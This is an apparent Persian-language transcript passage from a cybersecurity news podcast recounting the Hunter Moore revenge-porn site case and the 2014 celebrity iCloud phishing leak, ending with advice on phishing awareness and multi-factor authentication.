ولی خب اون خیلی زرنگ تر بوده و با توجه به اینکه میدونسته در قانون چه LOOP/POOL هایی وجود داره، با استفاده از وکلایی که داشته مطمئن بوده که درواقع قانون فدرال رو در آمریکا زیر پا نمیگذاشته در حوزه &#8230;&#8230;&#8230;&#8230;. یا &#8230;&#8230;&#8230;. و موارد اینچنینی. این که حالا این شخص چطوری میاد به عنوان چهره شناخته شده میشه کهBBC  میاد از این به عنوان The most hated man on the Internet یاد میکنه، یعنی خیلی از خبرگزاری های بزرگ مثل BBC, CNN, ABC باهاش مصاحبه میکنن، این پسر هزاران هزار یا میلیون ها میلیون بگیم طرفدار برای خودش پیدا میکنه. داستانش چجوری بوده؟ این شخص خودش جوان بیست و خورده ای ساله ای بوده دقیقا هیچ بکگراندی از نظر تجربه یا چیز خاصی در چنته نداشته، بلکه این فقط داستانش رو وقتی از طریق پادکست &#8230;&#8230;&#8230;&#8230;. اپیزود 34 یا همون مستند Netflix که نگاه می کنید و رفرنس های دیگه، می بینید گویا کل داستان این شخص و اینکه این چهره شدنش بیشتر از این شروع میشه که یکی از دوستانش گویا برای این عکس برهنه میفرسته و این میاد یک دامینی همینجوری از سر سرخوشی ثبت میکنه به اسم IsAnyoneUp.com که درواقع IAAN هم میشناسنش، میاد یکسری عکس میذاره و قابلیتی فراهم میکنه که بقیه هم بیان این عکس ها رو آپلود کنن. یعنی مثلا بعضی از دوستانش هم یکسری عکس از دوستان قدیمی خودشون داشتن و این عکسهای نود یا برهنه اینها رو شروع میکنن آپلود کردن روی این وبسایت. خب اینها اصلا خودشون هیچ idea نداشتن که وب سایت قراره خیلی مورد  استفاده قرار بگیره، چون این رو به عنوان یک شوخی، به عنوان یک جوک می دیدن که دارن یکسری عکسهایی رو میذارن اینجا. ولی نکته اینه که یک مرتبه متوجه میشن حجم زیادی ترافیک و افراد مختلف کم کم به سمت این وبسایت میان شروع میکنن به پست کردن این تصاویر و بعد وقتی می بینین ترافیک داره میاد، سعی میخواد بکنه monetize کنه و از این advertise کنه در Social Media های مختلف و شروع میکنه این رو promote کردن و در کنارش کار دیگه ای انجام میده که درواقع شاید خیلی بگیم اینجاست اون نقطه ای که یک نفرت زیادی از افراد زیادی در اینترنت علیه این شخص ایجاد میکنه اینه که در کنار این عکس هایی که آپلود میشه، میره لینکی که Social Media ی اون افرادی که این عکسها به اونها تعلق داره رو هم میگذاره. یعنی فرض کنید یک نفر که میاد این عکس ها رو پست میکنه، این قابلیت رو به اون شخص میده که بیاد مثلا لینک فیسبوک یا توییتر اون شخص رو هم بذاره و همین باعث میشه اون افرادی که خودشون قربانی هستندو عکسهاشون انتشار پیدا کرده، توسط یک مشت ترول دیگه بیان از طریق social media یک حجم زیادی پیام های خیلی آزاردهنده یا نفرت انگیز علیه این افراد ارسال بشه. خب یک فشار فوق العاده روحی روانی ممکنه به اون افراد بیاد در محل کارشون، در محل زندگیشون. و نکته اینه که خیلی از این افراد هم به این شخص پیام میدن و ازش میخوان که این عکسها رو از وبسایتش برداره ولی تحت هیچ شرایطی این کار رو انجام نمیده. یعنی برای هیچکدوم از این کیس ها بخاطر اینکه این عکسها که داره آپلود میشه، ولو اینکه بیاد زندگی هزاران هزار انسان رو نابود کنه، ولی برای این شخص داره ترافیک میاره. این شخص بازدیدکننده میاره، Viewer میاره و همین باعث میشه، این بره سمت اینکه advertisement بیاره .برای وبسایت خودش. بعد از یه مدتی این advertisement ها و ترافیک انقدر زیاد میشه که ده ها هزار دلار در ماه درآمدش میشه از همین وبسایتی که درواقع فقط داره تصاویر برهنه حجم زیادی از افراد رو در اینترنت پابلیش میکنه. اینهارو درواقع کانکت میکنه به اون شخصیت واقعی اینها در social media ها و یه حجم زیادی نفرت پرانی رو علیه این افراد میاره که زندگی شخصی خیلی از این افراد نابود شده بوده. نکته جالب این بود که شاید در نظر میگیریم، به نظر میاد که این افراد میتون برن علیه این شخص شکایت کنن  ولی با توجه به اینکه قوانین فدرال در اون زمان در سال 2012 اون پلتفرمی که داره این عکسهارو (چون خود این شخص حداقل ادعایی که داشته این که این افراد توسط خودش آپلود نشده، این عکسها توسط اشخاص دیگه آپلود شدن) همون بحثی که ما شاید تو یه لول دیگه الان داریم می بینیم مثلا فیسبوک یا توییتر دارن میگن ما یک پلتفرم هستیم، تعهدی درقبال اون miss information ی که داره روی پلتفرم فیسبوک یا توییتر میره نداریم. به قول معروف میگن وظیفه ما اطلاع رسانی حقیقت نیست. ما داریم اطلاعات رو میذاریم. حالا اون شخص هم شاید 10 سال پیش داشت یک همچنین مفهومی رو داشت رو بحث تصاویر &#8230;&#8230;&#8230;&#8230; که درواقع افراد از اشخص دیگه گرفته بودن، حالا در زمانی که با هم دوست بودن و بعد آپلود میکردن و میذاشتن. و این نکته در واقع خیلی باعث شد بعد از یه مدتی که گفتن حجم زیادی ترافیک به سمت این آمد، حتی مصاحبه هایی از افراد خیلی سرشناس گرفت. مثلا شخصی مثل یک ژورنالیست معروفی مثل اندرسون کوپر که درواقع در CNN هست یک شویی داره  که این شخص رو دعوت میکنه در شوی خودش (Hunter Moore) و چند نفر از قربانیان این رو هم اتفاقا تو این شو میاره. یعنی همون شوی Hunter Moore و اندرسون کوپر رو توی یوتیوب سرچ کنید ببینید، می بینید خیلی جالب هست صحبتی که بین درواقع اینها میشه و باز همین بحث توضیح یا justification ی که Hunter Moore میاره که میگه کسی تفنگ روی شقیقه ی شما نذاشته که بخواین از خودتون عکس بگیرید اون هم عکس های برهنه تون. وقتی این عکسها روی اینترنت پخش میشه خب عملا روی پلتفرم من میاد قرار میگیره، من هیچ مسئولیتی در قبال اون عکسی که شما اجازه دادین بگیرن، ندارم. توضیحش این بود. از اون طرف قربانیان هم میگفتن این عکسها رو برای کسی گرفتیم یا به کسی دادیم که بهشون trust داشتیم. و زمانی که اون شخص از این اعتماد سو استفاده کرده و درواقع داره از اون بهره برداری میکنه، تو نباید اجازه بدی که روی پلتفرم تو همچنین کاری انجام بشه. همه ی این حرف ها و مصاحبه ها از یه طرف باعث شد که این بحث فشار افکاری عمومی شاید روی Hunter Moore بیشتر بشه ولی از اون طرف هم متاسفانه جالب اینجاست که popularity (شهرت) این شخص بیشتر بیشتر شد. تا جاییکه حتی هزاران هزار نفر میومدن ساپورت میکردن. افرادی که شاید بگیم تحت افسردگی های شدید بودن یا مشکلات مختلف اجتماعی داشتن، اینها جوری خودشون رو وابسته به این میدیدن. یعنی جوری میخواستن اشاعه دهنده ی نفرت باشن علیه اون جماعتی که شاید قربانی بودن. و اینها شاید یکجوری حتی این شخص رو می پرستیدن. توی اون مستند Netflix در واقع جالبه در بخشی به این نکته اشاره میکنه و این داستان درواقع هست تا زمانیکه بخاطر اون اصطلاحا &#8230;&#8230;&#8230;&#8230;&#8230;&#8230; این شخص داشته، یعنی Hunter Moore دچار یکسری مشکلات مالی میشه و بخاطر اون مشکلات مالی که پیدا میکنه در واقع اون درآمدش از این وبسایت کم و کمتر میشه تا زمانیکه به جایی میرسه که میخواد این دامین رو بیاد واگذارکنه. و یک شخصی بنام &#8230;&#8230;. که ایون خودش یک &#8230;&#8230;&#8230;&#8230;. بوده، یک شخصی بوده که از بچگی تحت &#8230;&#8230;&#8230;&#8230;.. بوده و بعد زمانیکه وارد ارتش میشه توی واحد US Cyber Command کار میکنه، میاد در نهایت یک شرکت برای خودش داشته، بیزینسی در آمریکا داشته و این تو همین حوزه IT کار میکرده و وقتی این وبسایت &#8230;&#8230;.. رو می بینه برای اینکه یجوری بخواد مقابله کنه با این داستان و با Hunter Moore میاد و حتی بهش پیشنهاد میده که میخوام وب سایت تو رو بخرم ودامینش رو ازش میخره به مبلغی نزدیک 12 هزاردلار یه همچنین چیزی. و این دامین رو ریدایرکت میکنه به وبسایت دیگه ای بنام &#8230;&#8230;&#8230;. که اونجا درواقع میاد یکسری مباحثی رو درمورد بحث &#8230;&#8230;&#8230;.. میذاره که درواقع نقطه مقابل اینه. یعنی میاد یجوری به کسانی که قربانی Hunter Moore بودن کمک کنه. و خود همین &#8230;&#8230;&#8230;.. و این Hunter Moore تقابلی بعد از این فروش دامنه صورت میگیره و دردسر زیادی بوجود میاد و این چهره Hunter Moore از اون طرف که حجم زیادی طرفدار داشته خب یک عده زیادی هم علیه این شروع میکنن به فعالیت کردن. جلوی این پلتفرم این رو بگیرن، چون این همچنان گفته بوده حتی بعد از اینکه این دامین &#8230;&#8230;&#8230;&#8230;. که میفروشه دقیقا پلن داشته که بیاد یک دامین دیگه ای بنام IsAnyoneUp2 مثلا شماره دو رو بیاد بزنه و باز شروع کنه همین رو با شدت بیشتری در واقع بحث &#8230;&#8230;&#8230;&#8230; انتشار بده تا اینکه &#8230;&#8230;&#8230;.. وارد داستان میشه. گروه هکرهای &#8230;&#8230;&#8230;. درواقع وقتی می بینن که این حجم مخالفت قربانیان زیاد بودن، شروع میکنن به هک کردن اکانت های این Hunter Moore که حالا خودش درواقع همش میگه که اینها یه مشت هکرهای خیلی آماتور هستن که دارن میان کار خاصی هم نکردن و من هیچ آسیبی هم ندیدم ولی خب بر خلاف اون چیزی که گفته بود، گویا &#8230;&#8230;&#8230;. خیلی تونسته بود اون رو تحت فشار قرار بده ولی از همه اینها مهمتر جالبه بگم که Hunter Moore با این همه از نظر اخلاقی کارهایی که انجام داده بود، افراد زیادی رو از این پلتفرمی که راه اندازی کرده بود، مورد آسیب روحی روانی قرار داده بود، جالبه بدونید که دولت یا بگیم دولت آمریکا، دولت فدرال FBI یا نهادهای &#8230;&#8230;&#8230;.. اینها نبودند که این شخص رو به زیر کشیدند. مادر یکی از قربانیان بود که در واقع این کار رو آمد و انجام داد. یعنی خیلی نکته ی مهمی بود که تو خود اون مستند بهش اشاره شده بود و این داستان چجوری میشه که این شخص رو در نهایت میتونن بکشن به دادگاه. یکی از قربانیان یک خانمی بوده به اسم &#8230;&#8230;&#8230;&#8230; که ایشون درواقع از طریق دوستانش متوجه میشه که عکسهای خصوصیش روی این وبسایت قرار گرفته وباز همه این عکسها لینک شدن به پروفایل فیسبوکش و اونجاست که وقتی با مادرش این رو مطرح میکنه، که مادرش خانمی هستش بنام&#8230;&#8230;&#8230;. ایشون به جد دنبال این قضیه میوفته و دخترش هم بهش میگه من این عکسهارو برای هیچ کسی نفرستادم، اینها فقط تو اکانت ایمیل من بوده. هیچ جای دیگه ای نداشتم. و این دروغ محضه که مثلا کسی رفته باشه که این عکسها رو براش فرستادن و این آپلود کرده. یعنی جای بحث هک مطرح میشه که این احتمال میره که این سیستم کامپیوتریش یا ایمیلش هک شده باشه. و مادر این شخص شروع میکنه درواقع برای ماه ها اطلاعات مختلف از قربانیان این Hunter Moore جمع کردن یک کیس خیلی بزرگی علیه این شخص میسازه. و این با روزنامه نگاران مختلفی صحبت میکنه، با پلیس محلی، با FBI تماس میگیره، فشاری که این شخص میگذاره، مادر این قربانی. باعث میشه نهادهای دولتی مخصوصا &#8230;&#8230;&#8230;. مثل FBI وارد داستان بشن واین قضیه رو بررسی کنن. چون متوجه میشه که خیلی افراد زیادی که درواقع قربانی بودن، اصلا سیستم هاشون هیچکدومشون عکسهای خودشون رو با کسی به اشتراک نگذاشتن. یعنی قطعا فقط روی ایمیلشون بوده. از طریق اکانتهای ایمیلشون شاید چند کپی از اینها داشتن. همونها در نهایت سایت از سایت IsAnyoneUp سر درآوردن. و بخاطر همین هم سر این داستان این یک کیس مهمی میتونه باشه علیه این شخص. و جالب اینجاست که این Hunter Moore حتی یک تیمی از افراد داشته. برنامه نویس ها و هکرها که اینها چک میکردن کی ورد Hunter Moore رو با ربات هایی که اگه کسی یک بلاگ پستی یا وبسایتی مطلبی علیه این می نوشته، اینها بلافاصله شروع میکردن که اون دامنه رو حالا یا هک کنن یا از کار بندازن یا مثلا DDOS اتک انجام بدن روش که مثلا خود همین شارلدلو مادر این قربانی میاد یک بلاگ پستی گویا میگذاره علیه این داستان Hunter Moore و تحقیقاتی که انجام داده و توضیح میده حتی مادرش هم آدم خیلی (خیلی جالبه در نظر بگیرید در همون اوایل اون دهه شاید 7-8 سال پیش خیلی روشنی بوده از نظر فنی برای اینکه متوجه نشدن از چه IP Address ی این بلاگ پست شده، میره یک کافی شاپی در شهر دیگه ای ، اگه اشتباه نکنم لاس وگاس گفت، میره اونجا میشینه بلاگ پست رو آپلود میکنه. و متوجه میشه بعد از مثلا چند دقیقه اون صفحه از دسترس خارج میشه. گویا مثلا هکش کردن یا همچنین داستانی. همه ای داستان ها که درواقع انجام میشه. این شارلدلو کیس رو میبره جلو و در نهایت مامورین FBI باهاش تماس میگیرن، شروع به بررسی میکنن و نکته جالبی که وجود داشته، زمانیکه اینها اکانتهای جیمیل قربانیان رو که چک میکنن، می بینن که جزو اون اکانتهایی که برای ریکاوری اکانت درج شده، یک اکانتی هست به اسم گری جونز 815 یه همچنین چیزی. گویا ایمیلی بوده که حالا اون کسی که اکانت ایمیل قربانیان رو هک کرده بوده، این Secondary Email رو اد کرده بوده اونجا که اگه باز بخواد دومرتبه پسورد رو ریست کنه از طریق این بتونه این کار رو انجام بده. یعنی ایمیلی بوده که اون هکر به ظاهر این کار رو انجام داده بوده. و حالا هکر نسبتا ناشی بوده که همچنین کاری کرده بوده. اون زمان هم شما در نظر بگیرید 10 سال پیش level امنیتی که روی جیمیل شما وجود داشت، با این چیزی که شما الان می بینید و مثلا خیلی بحث Two Factor Authentication زیاده، اگه تلاشی بشه که از Geography Location خاصی به این جیمیل شما دسترسی بشه شما بلافاصله نوتیفیکیشن میگیرید،  در اون لول نبود. گویا این شخصی که تونسته بوده اکانت کایلالاس دختر شارلوت رو هک کنه و خیلی های دیگه، در نهایت FBI بررسی میکنه و متوجه میشه که یک شخصی هست به اسم گری جونز که حلا هکر خیلی آماتوری بوده که این یکبار سعی کرده بوده Hunter Moore رو هک کنه و بعد Hunter Moore این رو میفهمه بهش میگه تو بجای اینکه بیای من رو هک کنی، بیا من به تو پول میدم که بری اکانت های مختلف رو هک کنی و تصاویر برهنه شون رو برای من بیاری. علتش هم این بوده که این حجم تصاویر برهنه روی  وبسایتش اونقدر زیاد نبوده، میخواسته بیاد از این طریق یعنی بحث هک کردن سیستم های افراد، ایمیل هاشون و بدست آوردن تصاویر، آپلود کردنشون روی وبسایت بتونه ترافیک وبسایت خودش رو بیشتر نگه داره تا بازدید کننده بیشتری بگیره. و اینجاست که FBI با توجه به قوانین هک میتونه بیاد کیسی رو علیه این شخص ایجاد کنه و این رو بکشه به دادگاه و میان این رو بازداشت میکنن، Hunter Moore و هکری که همدست باهاش و درنهایت خود شخص  Hunter Moore چیزی که با توجه به همه این داستانی که ایجاد کرده بوده و افراد زیادی قربانی شده بودن، در نهایت 30 ماه بهش زندان میدن و چیزی نزدیک چند صد دلار جریمه که شاید به نظر حکمی که گرفته چیز عادلانه ای نباشه ولی خب این درواقع با توجه به اون قوانینی که اون زمان داشتن و نکته فقط خوبی که شاید وجود داشت در اون حکم، این بود که برای lifetime بن میشه از هرگونه activity و social media که درواقع هیچگونه فعالیتی اجازه نداشته باشه داشته باشه یا روی همین اینترنت خیلی فعالیت هاش محدود میشه. برای بازه زمانی طولانی اگه اشتباه نکنم تو مستند اشاره کرده بود، lifetime ولی ممکن هم هست این تغییر شده باشه، چون من یادم میاد یک اکانت توییتری اخیرا دیدم از اینکه باز هم البته توییتر ساسپندش کرده بود. و گویا خب هنوز چون این سنش الان فکرکنم در حد 35-36 سال سن داشته باشه، هنوز هست وفعالیت داره. برای اون Documenter هم که Netflix ساخته بود حتی ازش درخواست کرده بودن که توی اون Documentary شرکت کنه ولی ایشون گویا قبول نکرده بود. ولی در هرصورت این کیسی که درواقع من اشاره کردم بهش، کل این داستان Hunter Moore به عنوان Thee must hated man on the Internet یا نفرت انگیزترین مرد در اینترنت که به BBC درواقع این عنوان رو براش زده بود، وقتی شما نگاه می کنید کل کاری که این شخص انجام میداده یک کار کلی مشمئز کننده از نظر اختلاقی و اجتماعی بوده، ولی می بینید سال ها در واقع از این طریق یک بیزینس خیلی پرمنفعتی داشته و حتی قانون هم نمیتونسته جلوش رو بگیره ولی با توجه به تلاش جماعت زیادی مخصوصا مادر یکی از قربانیان وقتی شما می بینید که با اون تلاش و پیگیری که میکنه میتونه یک پرونده خیلی بزرگی علیه این مخصوصا از لحاظ اون هک درست کنه و حالا FBI وارد این قضیه بشه، بررسی انجام بده و درنهایت این رو بگیرند. این نکته ای که هست حالا قوانین الان خیلی شاید تغییر پیدا کرده، یعنی تمام قوانین رو وقتی شما نگاه می کنید، به مرور زمان خیلی تغییر پیدا کرده، مخصوصا در خورد همین آمریکا و کشورهای مختلف، مثلا در همین ایالت هایی مثل تگزاس که خیلی محافظه کارند، خب اینها قانونی گویا تصویب کرده بودن که همین انتشار تصاویر از بگیم این تیم &#8230;&#8230;&#8230;&#8230;. جاهای مختلف بدن یک شخص بدون داشتن رضایت، هرگونه عکسی رو اگه کسی بخواد انتشار بده در اینترنت، این جریمه داره و چیزی بالغ بر 4 هزار دلار باید جریمه بده، یا حتی به زندان بره، خب این زمان که Hunter Moore این کارها رو میکرد اگه این قانون وجود داشت، قطعا نمیتونست بیاد بیاد همچنین کاری رو انجام بده. ولی در نهایت با اون فشاری که آورده شد از طرف افکار عمومی و حالا قانون گذاران، تونستن این قانون رو بذارن. خیلی کیس های زیاد دیگه ای هم هست. یعنی فقط مخصوص این داستان نیست. من شاید جاهای مختلف هم گفتم همون https که شما دارید روی اینترنت استفاده میکنید، اون s سالها براش زحمت کشیده شده، با دولت آمریکا کیس های حقوقی علیه دولت آمریکا انجام شده  EFFکه یکی از نهادهایی هستش که درمورد بحث آزادی اینترنت ، آزادی بیان فعالیت میکنه، برای اینکه بخوان حریم خصوصی افراد حفظ بشه، و بحث Encryption رو بخوان روی وب خیلی روش push کردن، کیس های حقوقی زیادی رو ران کردن، دولت آمریکا میگفت که این باید اعمال نشه تا ما بتونیم قابلیت شنود رو داشته باشیم. جلوی تبهکاران رو بگیریم . از اون طرف EFF بحث حریم خصوصی رو برد جلو تا در نهایت اینها موفق شدن این قابلیت Encryption رو روی وب یا https رو بیان فعال کنند. بصورت بحث قانونی. از زمان کلینتون امضا شد. فرآیند خیلی طولانی و پرفراز و نشیبی هست، این داستان هم که حالا درمورد بحث &#8230;&#8230;&#8230;.. من اشاره کردم، درواقع کم و بیش از  این داستان نداره. یک نکته جالب دیگه هم که اگه من بخوام در ادامه ی همین &#8230;&#8230;&#8230;&#8230;&#8230; بدم همون بحث گروه &#8230;&#8230;&#8230;&#8230; بود. شما اگه یادتون باشه فکرکنم همون نزدیک 7-8 سال پیش بود، دست اون هک شدن اکانت های سلبریتی های هالیوود خیلی سروصدا کرد. یعنی اکانت های تعداد زیادی از بازیگران هالیوود رو وقتی شما نگاه می کردید، از چهره های مختلفی رو میدید که اکانتهای اینها یک مرتبگی اکانت های iCloud  اینها مخصصوصا هک شد و حجم زیادی از عکس ها و تصاویر اینها منتشر شد از اکانت Rihanna، Kim Kardashian، Emma Watson، Jennifer Lawrence یک مرتبگی یک حجم زیادی از این اطلاعات روی اینترنت منتشر شد و جالب اینه که هک اینها باز چجوری صورت گرفت. چون من دیدم توی بعضی از خبرها بحث شده بود که هکرها اومده بودن از &#8230;&#8230; استفاده کرده بودن برای انجام همچنین هک ها، درصورتی که داستان هک مخصوصا این اکانت های iCloud سلبریتی ها فقط و فقط به اوسنت و فیشینگ بوده، یعنی با استفاده Opensource Intelligence  و فیشینگ این هکرها تونسته بودن این اکانت ها رو هک کنن. اون هم به چه صورت؟ خب اول اینها دنبال این بودند که ادرس ایمیل این افراد رو گیر بیارن. نکته اول. اون هم از طریق Opensource Intelligence  شما میتونید آدرس ایمیل تمام این سلبریتی ها رو گیر بیارید. آدرس ایمیل که دارن بصورت روزانه چک میکنن. و بعد زمانی هم که شما توییت میکنید. مثلا روی توییتر معمولا می نویسه که شما دارید از اندروید توییت میکنید یا آیفون. متوجه میشن اونهایی که آیفون دارن حتما اکانت iCloud هم دارن. خب اکانت iCloud معمولا بصورت اتوماتیک میاد عکسها رو روی Storage خودش ذخیره میکنه که شامل تمام تصاویری هم که شما با گوشیتون گرفتید هم معمولا هست. و بعد اون هکر میاد یکسری Email Account هایی رو میسازه مثل همون Secure Help Desk مثلا @gmail.com یا Emailprotection@icloud یکسری از این تیپ ایمیل هایی که به نظر خیلی لجیت میاد، و بعد شروع میکنن از اینها ایمیل فرستادن به این شخص ، به اون هدف خودش، حالا قربانیش که یکی از این سلبریتی ها هست و بهشون میگه که آره مثلا این مشکل با اکانت شما بوده، نیاز داره که بیاید پسورد خودتون رو مثلا تغییر بدید. و بعد طرف رو ریدایرکت میکرده به یک صفحه ای که دقیقا کپی یا clone مثلا iCloud Login Page بوده و اونجا این پسورد رو به سرقت میبرده. و از همین طریق اینها سال 2013-2014 حجم فوق العاده زیادی اطلاعات از تصاویر اینها به سرقت برده شد که بعد FBI متوجه میشه چیزی نزدیک به 570 iCloud Account به سرقت رفته و بعد از اینکه چک میکنه ببینه چه IP Address هایی به این اکانت ها دسترسی پیدا کردن، یک IP مشترکی رو پیدا میکنه در شیکاگو که به همه اینها دسترسی پیدا کرده، اون هم بعد از اینکه تحقیق میکنن، میرسن به خونه یک شخصی بنام ایمیلیو هرارا که این شخص رو بازداشت میکنند. سردسته یکی از تیم هکرهایی بوده که از این طریق این عکسها رو به سرقت می برند. حالا سعی داشتن که اینها رو بفروشن روی اینترنت و متاسفانه جالبیش اینه که بعضی از این شبکه ها مثل Reddit  یکی از دلایلی که خیلی popular شد شاید به نظر مسخره بیاد، همین اجازه انتشار لینک به این عکس ها روی پلتفرم خودش بود. یعنی برای بازه ی زمانی شاید چندین هفته یا ماه Reddit  اینکه عکس های این سلبریتی ها رو از پلتفرم خودش برنداشت چون دید یوزرهای زیادی دارن میان به سمت این و از این استفاده میکنن. یعنی ویو میگیره این صفحات. اون زمانی که انقدر فشار زیاد شد از طرف افکار عمومی و خود این سلبریتی ها هم تهدید کردن که با استفاده از DMCA علیه این کیس میبرن به دادگاه. اونوقت بود که این لینک ها به این عکس های سلبریتی ها که منتشر شده بود رو آمد حذف کرد. این یک فرآیندی بود که انجام شد. و نکته ش اینه که درواقع همین بحثی که میخواستم اشاره کنم هیچ بحثی درخصوص زیرودی نبود، یعنی با استفاده از یکسری تکنیک های خیلی ساده ایمیل های فیشینگ و یکسری صفحات فیک تونسته بودن سلبریتی هایی که روی بحث Security شاید زیاد اطلاعاتی نداشته بودن، براحتی به اون اکانت آیکلودشون و تصاویری که روی گوشی آیفونشون ذخیره شده بود، درواقع بیان دسترسی پیدا کنن. که این بیشتر همون بحث آموزش هست. یعنی نگاه کنید کل این داستان اگر قبل از اینکه حالا اینها روی همون لینکی که میخواستن کلیک کنن یه مقدار بیشتر دقت می کردن که درواقع اونجا هیچ اینکه ببینن Sender اون ایمیل کی هستش، وریفای کنند یا وقتی ایمیلی یه چیزی رو دارید می بینید که تو اون ساختار ایمیلی که دریافت کردید شک میکنید، قطعا روی اون لینک کلیک نکنید. کیس های زیادی هم بوده که ما معمولا تو این اتاق بهش اشاره کردیم. و حالا بحث Multi Factor Authentication خب الان دیگه یک feature ی هست که همه جا باید برای اکانت های ایمیلتون، Social Media، اکانت های بانکی و هر اکانت آنلاینی که میدونید که یکسری اطلاعات Sensitive  یا Important روش وجود داره، حتما این بحث MFA رو Enable کنید، و تا جاییکه امکان داره مخصوصا دوستانی که در ایران هستند، از شماره تلفن به عنوان بحث فاکتور دوم در کنار پسورد استفاده نکنن. بیشتر سعی کنید از Mobile Application یا Authenticator های روی موبایل استفاده کنید که حالا گوگل خودش داره، یا پلتفرم های دیگه که خیلی میتونه کمک کنه حتی اگه اون شبکه موبایل دچار مشکل بشه یا از کار بیوفته (منظورم اپراتورتون هست)، همچنان شما بتونید از طریق اون Mobile Application بتونید بحث فاکتور دوم رو بتونید انجام بدید. این یک خلاصه ای بود، حالا من روی این مبحث بازم اشاره میکنم دو رفرسنی که در اول مبحثم من بهش اشاره کردم ، اپیزود 34 &#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;. و خود اون Mini Series که در Netflix منتشر شده، سه تا قسمت یک ساعته هست تقریبا. اگه علاقه مند بودید میتونید اونهارو مطالعه کنید. موارد زیاد دیگه ای هم در این حوزه وجود داره. ما سعی میکنیم برای هفته های آینده هم با دوستان ، با سهیل و مهدی عزیز روی موضوعات مشابه یا درواقع سابجکت های تخصصی تر بتونیم صحبت کنیم. ممنونم از همه دوستان من صحبتم تموم شد. مهدی جان استیج در اختیار شماست.</p>
<p>خیلی ممنون دکتر جان بابت این اخبار و اطلاعات مفیدی که در اختیار ما گذاشتید، دوستان اگه میخوان بیان بالا و نقطه نظرشون رو بیان کنن یا اگه پرسشی دارن با ما درمیون بذارن. بسیار ازتون ممنون که تا اینجای کار با ما بودید، تو جلسات با ما هستین، از سهیل جان و داود جان دوباره متشکرم. و اینکه باز توضیح همیشگی رو به شما بگم، هر هفته ما شنبه شب ها ما اخبار امنیت سایبری رو تحت اتاقی تحت همین نام پنتر پوشش میدیم. اگه مایل بودید خود کلاب پنتر، سخنرانان و شبکه های اجتماعیشون رو فالو کنید. تا از زمان دقیق تشکیل اتاق ها با خبر بشید. اگر هم علاقه مند به شنیدن جلسات برگزار شده کلاب هستید، از طریق Replay  کلاب ، کانال یوتیوب یا بلاگ ما به آدرس peneter.com میتونید به فایل صوتی این جلسات دسترسی داشته باشید. امیدوارم که در هفته های آینده هم باز درخدمتتون باشیم با موضوعات جذاب و اخبار خوب. لحظات شادی رو براتون آرزومندم، شب و روزتون خوش.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.peneter.com/cybersecurity-news-44-1401-06-05/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
